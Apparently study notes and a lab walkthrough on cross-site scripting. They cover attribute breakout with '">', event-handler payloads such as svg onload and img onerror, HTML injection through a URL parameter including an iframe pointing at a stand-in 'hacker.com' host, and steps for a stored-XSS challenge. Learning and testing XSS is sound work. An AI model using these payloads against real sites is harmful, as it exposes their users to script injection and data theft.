Temporary XSS
Last updated
Xss isnt always in a text field, it can directly be in the URL
Exploitation doesn’t need <script> tags, js can be executed with js events too like onclick, onload, onmouseover etc
<svg onload=alert(0)>
inject HTML/JS and generate 'xssed' alert pop up.
As our data is going inside the attribute of the input tag :
<input value="HERE">
What every you type will become the value of the Button and not execute.
But, if you break using this tag : “> YOUR MALICIOUS CODE and inject your own code after:
<input value=""> <script>alert("xssed")</script>">
You notice how input tag is closed and you successfully inject a script tag which will work
Tags are blocked but as out data is going inside an input tag:
Just like sqli we can chose the already existing " and add our own html to the input tag
If we enter the payload abcd" onload="alert('xssed') this is how it would appear
This makes the value abcd and the moment iframe loads, you will get the popup
As our input is simply appended into the <h1> tags, we can pass our own html in the user_name parameter and that HTML/JS will get appended to the output.
http://url/hello.php?user_name=<a>hacked</a>
http://url/hello.php?user_name=<iframe src=”hacker.com”></iframe>
Xss isnt always in a text field, it can directly be in the URL
Exploitation doesn’t need <script> tags, js can be executed with js events too like onclick, onload, onmouseover etc
<img src="" onerror=alert(0)>
<svg onload=alert(0)>
Step 1: Go to the hacking challenge (The URL will be different for each user). http://13.232.74.70/Cross-Site-Scripting/Permanent-XSS-Variant-3/ Step 2: Click on 'Login as A Seller' button. Step 3:Enter the payload "> in 'Seller Address' input field Step 4: Click on save changes. Step 5: Now click on ‘Show Products’ button to view the XSS Pop up. Now anybody who browses the products will be affected by the payload hence ‘Seller Address’ field is vulnerable to permanent XSS.